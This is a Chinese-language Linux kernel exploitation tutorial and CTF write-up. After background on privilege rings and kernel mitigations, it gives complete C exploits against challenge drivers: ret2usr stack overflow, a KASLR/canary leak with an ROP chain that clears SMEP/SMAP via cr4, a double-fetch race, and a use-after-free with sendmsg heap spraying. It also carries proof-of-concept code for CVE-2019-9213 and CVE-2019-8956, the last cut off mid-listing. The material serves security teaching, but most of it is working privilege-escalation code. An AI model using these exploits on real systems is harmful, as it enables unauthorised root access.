Linux Kernel Pwn 初探
基础知识
kernel 的主要功能:
-
控制并与硬件进行交互
-
提供 application 能运行的环境
Intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0
, Ring 1
, Ring 2
, Ring 3
。
Ring0
只给 OS 使用,Ring 3
所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
Ps: 在Ring0
下,可以修改用户的权限(也就是提权)
如何进入kernel 态:
- 系统调用
int 0x80
syscall
ioctl
- 产生异常
-
外设产生中断
-
...
进入kernel态之前会做什么?
保存用户态的各个寄存器,以及执行到代码的位置
从kernel态返回用户态需要做什么?
执行swapgs
(64位)和 iret
指令,当然前提是栈上需要布置好恢复的寄存器的值
一般的攻击思路:
寻找kernel 中内核程序的漏洞,之后调用该程序进入内核态,利用漏洞进行提权,提完权后,返回用户态
返回用户态时候的栈布局:
Ps:在返回用户态时,恢复完上述寄存器环境后,还需执行swapgs
再iretq
,其中swapgs
用于置换GS
寄存器和KernelGSbase MSR
寄存器的内容(32位系统中不需要swapgs
,直接iret
返回即可)
Linux Kernel 源码目录结构
linux-4.20
源码下载:https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.20.tar.gz
CTF中的Linux kernel
通常CTF比赛中KERNEL PWN
不会直接让选手PWN掉内核,通常漏洞会存在于动态装载模块中(LKMs
, Loadable Kernel Modules
),包括:
-
驱动程序(
Device drivers
)- 设备驱动
- 文件系统驱动
- ...
-
内核扩展模块 (
modules
)
一般来说,题目会给出如下四个文件:
其中,
-
baby.ko
就是有bug的程序(出题人编译的驱动),可以用IDA
打开 -
bzImage
是打包的内核,用于启动虚拟机与寻找gadget
-
Initramfs.cpio
文件系统 -
startvm.sh
启动脚本 -
有时还会有
vmlinux
文件,这是未打包的内核,一般含有符号信息,可以用于加载到gdb
中方便调试(gdb vmlinux
),当寻找gadget
时,使用objdump -d vmlinux > gadget
然后直接用编辑器搜索会比ROPgadget
或ropper
快很多。 -
没有
vmlinux
的情况下,可以使用linux
源码目录下的scripts/extract-vmlinux
来解压bzImage
得到vmlinux
(extract-vmlinux bzImage > vmlinux
),当然此时的vmlinux
是不包含调试信息的。 -
还有可能附件包中没有驱动程序
*.ko
,此时可能需要我们自己到文件系统中把它提取出来,这里给出ext4
,cpio
两种文件系统的提取方法:-
ext4
:将文件系统挂载到已有目录。-
mkdir ./rootfs
-
sudo mount rootfs.img ./rootfs
-
查看根目录的
init
或etc/init.d/rcS
,这是系统的启动脚本可以看到加载驱动的路径,这时可以把驱动拷出来
-
卸载文件系统,
sudo umount rootfs
-
-
cpio
:解压文件系统、重打包mkdir extracted; cd extracted
cpio -i --no-absolute-filenames -F ../rootfs.cpio
- 此时与其它文件系统相同,找到
rcS
文件,查看加载的驱动,拿出来 find . | cpio -o --format=newc > ../rootfs.cpio
-
-
startvm.sh
用于启动QEMU
虚拟机,如下:#!/bin/bash stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null
可以在最后加上
-gdb tcp::1234 -S
使虚拟机启动时强制中断,等待调试器连接,这里最好用ubuntu 18.04
,16.04
有可能出现玄学问题,至少我这里是这样
Linux Kernel漏洞类型
其中主要有以下几种保护机制:
-
KPTI
:Kernel PageTable Isolation,内核页表隔离 -
KASLR
:Kernel Address space layout randomization,内核地址空间布局随机化 -
SMEP
:Supervisor Mode Execution Prevention,管理模式执行保护 -
SMAP
:Supervisor Mode Access Prevention,管理模式访问保护 -
Stack Protector
:Stack Protector又名canary,stack cookie -
kptr_restrict
:允许查看内核函数地址 -
dmesg_restrict
:允许查看printk
函数输出,用dmesg
命令来查看 -
MMAP_MIN_ADDR
:不允许申请NULL
地址mmap(0,....)
KASLR
、Stack Protector
与用户态下的ASLR
、canary
保护机制相似。SMEP
下,内核态运行时,不允许执行用户态代码;SMAP
下,内核态不允许访问用户态数据。SMEP
与SMAP
的开关都通过cr4
寄存器来判断,因此可通过修改cr4
的值来实现绕过SMEP
,SMAP
保护。
可以通过cat /proc/cpuinfo
来查看开启了哪些保护:
KASLR
、SMEP
、SMAP
可通过修改startvm.sh
来关闭;
dmesg_restrict
、dmesg_restrict
可在rcS
文件中修改:
MMAP_MIN_ADDR
是linux
源码中定义的宏,可重新编译内核进行修改(.config
文件中),默认为4k
做题准备
一般来说,不管是什么漏洞,大多数利用都需要一些固定的信息,比如驱动加载基址、prepare_kernel_cred
地址、commit_creds
地址(KASLR
开启时通过偏移计算,内核基址为0xffffffff81000000
),因此我们需要以root
权限启动虚拟机,可以在startvm.sh
中把保护全部关掉。
启动的用户权限也是由rcS
文件来控制的,找到setsid
这一行,修改权限为0000
启动后,执行lsmod
可以看到驱动加载基址,要记得先关闭kaslr
,然后记录下来,这可以用gdb
调试时方便计算断点地址,这里也可以看到设备名称为OOB
,路径为/dev/OOB
。
cat /proc/kallsyms | grep "prepare_kernel_cred"
得到prepare_kernel_cred
函数地址
cat /proc/kallsyms | grep "commit_creds"
得到commit_creds
函数地址
当我们写好exp.c
时,需要编译并把它传到本地或远程的QEMU
虚拟机中,但是由于出题人会使用busybox
等精简版的系统,所以我们也不能用常规方法。这里给出一个我自己用的脚本,也可以用于本地调试,就不需要重复挂载、打包等操作了。需要安装muslgcc
(apt install musl-tools
)
from pwn import *
#context.update(log_level='debug')
HOST = "10.112.100.47"
PORT = 1717
USER = "pwn"
PW = "pwn"
def compile():
log.info("Compile")
os.system("musl-gcc -w -s -static -o3 oob.c -o exp")
def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")
def upload():
p = log.progress("Upload")
with open("exp", "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
r.recvuntil("$ ")
for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))
exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")
p.success()
def exploit(r):
compile()
upload()
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)
level1
第一道例题,程序很简单,只有一个函数
init_module
中注册了名叫baby
的驱动
sub_0
函数存在栈溢出,将0x100
的用户数据拷贝到内核栈上,高度只有0x88
这里实际上缓冲区距离rbp
是0x80
,也没有保护,不用泄露,不用绕过,直接ret2usr
exp.c
:
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}
int main() {
void *buf[0x100];
save_stat();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
for(int i=0; i<0x100; i++) {
buf[i] = &templine;
}
ioctl(fd, 0x6001, buf);
//getchar();
//getchar();
}
level2
先看看startvm.sh
,这次多了SMEP
、SMAP
、KASLR
,所以我们需要考虑先泄露内核地址(这里还是把kaslr
关掉方便调试
主要函数也只有一个:
可以看到提供了两个功能,可以从用户内存拷贝数据到内核栈,也可以将内核栈的数据提供给用户。那就可以通过内核栈数据进行内核基址的泄露,随后使用gadget
修改cr4
来绕过smep
、smap
首先可以将上传exp
的脚本设置为debug
模式,方便进行泄露数据的计算。
context.update(log_level='debug')
在用户态设置缓冲区,然后使用0x6002
的泄露功能,write
出来
ioctl(fd, 0x6002, buf);
write(1, buf, 0x200);
效果如下:
因为此时没有开启KASLR
,所以我们可以寻找0xffffffff80000000
附近的内核地址进行基址的泄露。
比如偏移为0x48
的0xffffffff8129b078
。
这里还要泄露canary
(见上图v6
变量),一般来说,canary
会在rbp-8
的位置,视具体情况可能有些偏移,且canary
是一个高字节为\x00
的随机字符串,还是比较容易找的。
然后我们就可以寻找cr4
寄存器相关的gadget
进行smap
、smep
的绕过
因为题目没有提供vmlinux
,所以使用extract-vmlinux
进行解压
~/linux-4.20/scripts/extract-vmlinux ./bzImage > vmlinux
然后用objdump
提取gadget
objdump -d ./vmlinux > gadget
找合适的rop
链,这里可以先看可控制cr4
的寄存器,再找相关的pop
链
然后就可以修改cr4
为0x6f0
,后面就是常规操作了
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it
unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;
void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}
unsigned long long int calc(unsigned long long int addr) {
return addr-0xffffffff81000000+base_addr;
}
int main() {
long long buf[0x200];
save_stat();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
// for(int i=0; i<0x100; i++) {
// buf[i] = &templine;
// }
ioctl(fd, 0x6002, buf);
// write(1, buf, 0x200);
base_addr = buf[9] - 0x29b078;
canary = buf[13];
printf("base:0x%llx, canary:0x%llx\n", base_addr,canary);
prepare_kernel_cred = calc(0xffffffff810b9d80);
commit_creds = calc(0xffffffff810b99d0);
int i = 18;
buf[i++] = calc(0xffffffff815033ec); // pop rdi; ret;
buf[i++] = 0x6f0;
buf[i++] = calc(0xffffffff81020300); // mov cr4,rdi; pop rbp; ret;
buf[i++] = 0;
buf[i++] = &templine;
ioctl(fd, 0x6001, buf);
//getchar();
//getchar();
}
level3
先看startvm.sh
开了两个核,这时就要注意会不会是double fetch
漏洞,因为一般的题都只会用到一个核。
这里要注意一点,就是最好关掉kvm加速(-enable-kvm
),因为调试的时候如果开启了kvm
,驱动的基址就和之前我们通过lsmod
查到的不一样,导致断点断不下来等玄学现象,并且这个操作也不会影响漏洞的利用。
看下驱动程序:
__int64 __fastcall baby_ioctl(__int64 a1, __int64 choice)
{
FLAG *s1; // rdx
__int64 v3; // rcx
__int64 result; // rax
unsigned __int64 v5; // kr10_8
int i; // [rsp-5Ch] [rbp-5Ch]
FLAG *s; // [rsp-58h] [rbp-58h]
_fentry__(a1, choice);
s = s1;
if ( choice == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag, s1, v3);
result = 0LL;
}
else if ( choice == 0x1337
&& !_chk_range_not_ok(s1, 16LL, *(__readgsqword(¤t_task) + 0x1358))
&& !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(¤t_task) + 0x1358))
&& s->len == strlen(flag) ) // a4
{
for ( i = 0; ; ++i )
{
v5 = strlen(flag) + 1;
if ( i >= v5 - 1 )
break;
if ( s->flag[i] != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag, flag, ~v5);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
_chk_range_not_ok
函数,检查了一、二参数的和是不是小于第三个,且无符号整数和不能产生进位(也就是溢出),这里的__CFADD__
运算就是Generate carry flag for (x+y)
,使加法运算产生CF
标志:
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
bool v3; // cf
unsigned __int64 v4; // rdi
bool result; // al
v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
if ( v3 )
result = 1;
else
result = a3 < v4;
return result;
}
实际上,我们传进这个函数的a3
就是*(__readgsqword(¤t_task) + 0x1358)
,这个数的值通过打断点可以知道,就是用户空间的最高页基址(0x7ffffffff000
),所以实际上它所实现的功能就是我们不能传入内核地址,也就是我们不能直接传入程序数据段中的flag
地址来实现判断条件的绕过。
.data:0000000000000480 public flag
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480 ; baby_ioctl+DB↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488 align 20h
也就是这部分的判断条件:
else if ( choice == 0x1337
&& !_chk_range_not_ok(s1, 16LL, *(__readgsqword(¤t_task) + 0x1358))
&& !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(¤t_task) + 0x1358))
&& s->len == strlen(flag) ) // a4
但是只要我们通过了这段验证,后面的逐字节校验就没有再检查是否为内核地址
for ( i = 0; ; ++i )
{
v5 = strlen(flag) + 1;
if ( i >= v5 - 1 )
break;
if ( s->flag[i] != flag[i] )
return 22LL;
}
所以我们可以通过创建两个线程,其中主线程的flag参数传入一个用户空间的地址,但是要满足s->len == strlen(flag)
的判断条件,这个长度我们可以用返回值是否为22来爆破。
此时主线程就会在逐字节校验过程中失败并返回,而我们如果能在这两段验证逻辑之间修改flag的值为目标flag的内核地址,就可以完成所有验证实现flag的打印。
需要注意的是,我们子线程,即修改地址的线程要在主线程进入之前就开始运行,这样才有可能在窗口期修改变量。
以下为完整exp
,可能需要多试几次才能成功:
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it
int main_thread_out = 0;
struct msg {
char *buf;
int len;
}m;
void change_addr(unsigned long long addr) {
while (main_thread_out == 0) {
m.buf = addr;
puts("waiting...");
}
puts("out...");
}
int main() {
void *buf[0x1000];
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
m.len = 33;
m.buf = buf;
ioctl(fd, 0x6666, m);
system("dmesg > /tmp/aaa.txt");
int tmp_fd = open("/tmp/aaa.txt", 0);
lseek(tmp_fd, -0x100, SEEK_END);
read(tmp_fd, buf, 0x100);
char *flag_addr = strstr(buf,"Your flag is at ");
if (flag_addr == 0){
printf("[-]Not found addr");
exit(-1);
}
close(tmp_fd);
flag_addr += strlen("Your flag is at ");
unsigned long long addr = strtoull(flag_addr, flag_addr+16, 16);
printf("flag_addr:%p\n",addr);
// int ret = ioctl(fd, 0x1337, &m);
// printf("ret:%d\n", ret);
pthread_t t;
pthread_create(&t, 0, change_addr, addr);
// sleep(1);
puts("main_thread in...");
for(int i=0; i<0x1000; i++) {
m.buf = buf;
ioctl(fd, 0x1337, &m);
}
main_thread_out = 1;
system("dmesg > /tmp/bbb.txt");
tmp_fd = open("/tmp/bbb.txt", 0);
if (tmp_fd < 0) {
printf("[-] bad open dmesg\n");
exit(-1);
}
lseek(tmp_fd, -0x100, SEEK_END);
read(tmp_fd, buf, 0x100);
flag_addr = strstr(buf,"So here is it ");
if (flag_addr == 0){
printf("[-]Not found flag");
exit(-1);
}
close(tmp_fd);
flag_addr += strlen("So here is it ");
flag_addr[m.len] = 0;
printf("%s\n",flag_addr);
return 0;
// ioctl(fd, 0x6001, buf);
//getchar();
//getchar();
}
level4
嗯,依旧只有一个函数。。
__int64 __fastcall sub_0(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
__int64 a3; // r13
BUF *buf; // rbx
__int64 i; // rax
__int64 v7; // r12
CHUNK *chunk_1; // rax
char *call_arg; // rdx
__int64 v10; // rax
CHUNK *chunk; // rsi
__int64 idx; // rax
__int64 ptr; // rdi
_fentry__(a1, a2);
a3 = v2;
buf = kmem_cache_alloc_trace(kmalloc_caches[4], 0x6000C0LL, 0x10LL);
copy_from_user(buf, a3, 16LL);
switch ( a2 )
{
case 0x6008: // delete
idx = buf->idx;
if ( idx <= 0x1F )
{
ptr = pool[idx];
if ( ptr )
kfree(ptr); // no clean
}
break;
case 0x6009: // call
v10 = buf->idx;
if ( v10 <= 0x1F )
{
chunk = pool[v10];
if ( chunk )
_x86_indirect_thunk_rax(chunk->arg1, chunk, 0x48LL);// call rax
}
break;
case 0x6007: // add
i = 0LL;
while ( 1 )
{
v7 = i;
if ( !pool[i] )
break;
if ( ++i == 0x20 )
goto LABEL_4;
}
chunk_1 = kmem_cache_alloc_trace(kmalloc_caches[1], 0x6000C0LL, 72LL);
call_arg = buf->data;
pool[v7] = chunk_1;
chunk_1->call_func = ©_to_user; // call func
chunk_1->arg1 = call_arg; // call args
break;
}
LABEL_4:
kfree(buf);
return 0LL;
}
保护全开
程序的逻辑基本上是,我们有一个chunk池,可以进行创建、销毁、调用的功能,调用的默认函数是copy_to_user
,参数是我们创建堆块的时候传入的,我们可以用这个copy_to_user
来泄露内核地址,方法就和level2是一样的。
但是可以看到,程序在销毁堆块的时候并没有将指针置空,这样就有一个UAF
漏洞;并且这个调用的过程的函数地址是从堆块中取的,所以如果我们能通过堆喷将设计好的数据填入这个free
掉的堆块,就可以实现任意地址的调用。
这里是使用socket
连接中的sendmsg
进行堆喷,chunk的大小可以通过msg
结构体中的msg_controllen
来进行调整(最小为44字节),这里可以参考:
https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/
因此利用的思路就是,两次UAF,两次堆喷
- 第一次通过
gadgets
修改CR4
,关闭smap
和smep
保护 - 第二次直接调用提权函数(
commit_creds(prepare_kernel_cred(0))
)
下面是完整exp
:
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it
unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;
int fd;
int BUFF_SIZE = 96;
void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}
unsigned long long int calc(unsigned long long int addr) {
return addr-0xffffffff81000000+base_addr;
}
// ------------------------------------------------------------
struct sBuf
{
char *data;
int index;
} buf;
void add(char *data) {
buf.data = data;
ioctl(fd, 0x6007, &buf);
}
void delete(int index) {
buf.index = index;
ioctl(fd, 0x6008, &buf);
}
void call(int index) {
buf.index = index;
ioctl(fd, 0x6009, &buf);
}
int main() {
save_stat();
fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
unsigned long long *s[0x1000];
void *arg;
s[6] = arg;
add(s);
delete(0);
call(0);
// write(1, s, 0x200);
base_addr = (void*)s[8] - 0x4d4680;
printf("base:0x%llx\n", base_addr);
prepare_kernel_cred = calc(0xffffffff810b9d80);
commit_creds = calc(0xffffffff810b99d0);
// 开始建立socket 和 msg
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
memset(buff, 0x43, sizeof buff);
*((unsigned long long*)(&buff[0x38])) = 0x6f0;
*((unsigned long long*)(&buff[0x40])) = calc(0xffffffff81070790); // push rbp; mov rbp,rsp; mov cr4,rdi; pop rbp; ret;
// gadget has to save rbp then pop
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
/* This is the data that will overwrite the vulnerable object in the heap */
msg.msg_control = buff;
/* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
for(int i = 0; i < 0x10000; i++) {
sendmsg(sockfd, &msg, 0);
}
call(0);
add(s);
delete(1);
*((unsigned long long*)(&buff[0x40])) = &templine;
for(int i = 0; i < 0x10000; i++) {
sendmsg(sockfd, &msg, 0);
}
call(1);
// (unsigned long long*)&buff[0x40] = 0xffffffff81087c99; // pop rdi; pop rbx; ret;
}
babykernel
这是XMan入营赛的一道题,应该是出题人用其它题改的,改的很简单,直接ret2usr
,开了smap
, smep
没有kaslr
,可以在这里下载:
https://github.com/t3ls/pwn/blob/master/XMAN2019/babykernel/4771022fa9a54407bc7a56f61db435d3.zip
有用的只有write
函数:
__int64 __fastcall mychrdev_write(int a1, char *a2, __int64 a3)
{
char v4; // [rsp+0h] [rbp-50h]
if ( ((__int64 (__fastcall *)(char *, char *, __int64))copy_from_user)(&v4, a2, a3) )
return -14LL;
printk("You writed!");
return 1LL;
}
exp
如下:
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810779b0; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81077620; // TODO:change it
// cat /proc/kallsyms | grep "prepare_kernel_cred"
unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;
int fd;
int BUFF_SIZE = 96;
void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}
unsigned long long int calc(unsigned long long int addr) {
return addr-0xffffffff81000000+base_addr;
}
int main() {
save_stat();
fd = open("/dev/mychrdev", 2);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
// void *buf[0x1000];
void *buf[0x1000];
// for (int i=0; i < 0x100; i++) {
// buf[i] = &templine;
// }
int i = 0x58/8;
buf[i++] = 0xffffffff81045600; // mov rax,rbx; pop rbx; pop rbp; ret;
buf[i++] = 0x6f0;
buf[i++] = 0x10;
buf[i++] = 0xffffffff81045600; // mov rax,rbx; pop rbx; pop rbp; ret;
buf[i++] = 0x6f0;
buf[i++] = 0;
buf[i++] = 0xffffffff81003cf8; // mov cr4,rax; pop rbp; ret;
buf[i++] = 0;
buf[i++] = &templine;
write(fd, buf, 0x100);
}
CVE-2019-9213
CVE描述
In the Linux kernel before 4.20.14, expand_downwards in mm/mmap.c lacks a check for the mmap minimum address, which makes it easier for attackers to exploit kernel NULL pointer dereferences on non-SMAP platforms. This is related to a capability check for the wrong task.
补丁对比
调用链
POC
从补丁中我们可以看出,当一块内存具有MAP_GROWSDOWN
标志时,内存不足会向低地址进行扩展,此时跟进调用链会发现调用了expand_downwards
函数,漏洞也就是没有对扩展后的地址进行合理性校验,因此在内核态下对用户空间进行内存扩展时,因为没有address < mmap_min_addr
的判断条件,我们就可以mmap
到NULL
地址,但用户空间是不允许对0地址进行映射的,所以此时就会有提权的风险。
#include <stdio.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
int main() {
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%s\n",(char *)1);
}
这个POC最后打印了1地址的内容,其实就是执行su
命令时的报错信息
效果如下:
CVE-2019-8956
CVE描述
In the Linux Kernel before versions 4.20.8 and 4.19.21 a use-after-free error in the "sctp_sendmsg()" function (net/sctp/socket.c) when handling SCTP_SENDALL flag can be exploited to corrupt memory.
补丁对比
调用链
漏洞原理
根据补丁信息,可以看出漏洞位于sctp_sendmsg
函数的asoc
链表遍历的过程中,sctp_association
是sctp
协议通信中存储相关信息的基础结构体,包含有sendmsg
过程中的地址、端口等信息。而patch的原因写的是避免因链表中的成员被删除时,遍历造成的内存页中断。
我们再来看list_for_each_entry
和list_for_each_entry_safe
的区别
也就是保证了在链表的遍历过程中,如果出现了非法地址,不会再直接赋值到pos
上。
所以CVE描述所写的是UAF漏洞,我觉得写成空指针解引用漏洞要更恰当一点。
POC的编写,基本上就是复制粘贴了sctp
通信的代码,最后调用了sctp_sendmsg
,但是怎么样才能触发这个漏洞呢,我们来看看报错的代码(net/sctp/socket.c
)
可以看到,当遍历到0xd4
这个非法地址时,报错是由sctp_sendmsg_check_sflags
返回的,我们跟进看一下
所以要触发报错,我们要满足sflags & SCTP_SENDALL
以进入遍历函数,和sflags & SCTP_ABORT
来产生报错
通过查询定义,可以发现SCTP_ABORT
为0x4
,SCTP_SENDALL
为0x40
所以可以知道当我们将sflags
置为0x44
时即可引发crash
而sflags
是倒数第四个参数,至此,我们就可以写出POC
POC
#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h>
#include <malloc.h>
#define SERVER_PORT 6666
#define SCTP_GET_ASSOC_ID_LIST 29
#define SCTP_RESET_ASSOC 120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET 118
void* client_func(void* arg)
{
int socket_fd;
struct sockaddr_in serverAddr;
struct sctp_event_subscribe event_;
int s;
char *buf = "test";
if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
perror("client socket");
pthread_exit(0);
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
printf("send data: %s\n",buf);
if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0x44,0,0,0)==-1){
perror("client sctp_sendmsg");
goto client_out_;
}
client_out_:
//close(socket_fd);
pthread_exit(0);
}
void* send_recv(int server_sockfd)
{
int msg_flags;
socklen_t len = sizeof(struct sockaddr_in);
size_t rd_sz;
char readbuf[20]="0";
struct sockaddr_in clientAddr;
rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),
(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
if (rd_sz > 0)
printf("recv data: %s\n",readbuf);
if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0,0,0,0)<0){
perror("SENDALL sendmsg");
}
pthread_exit(0);
}
int main(int argc, char** argv)
{
int server_sockfd;
pthread_t thread;
struct sockaddr_in serverAddr;
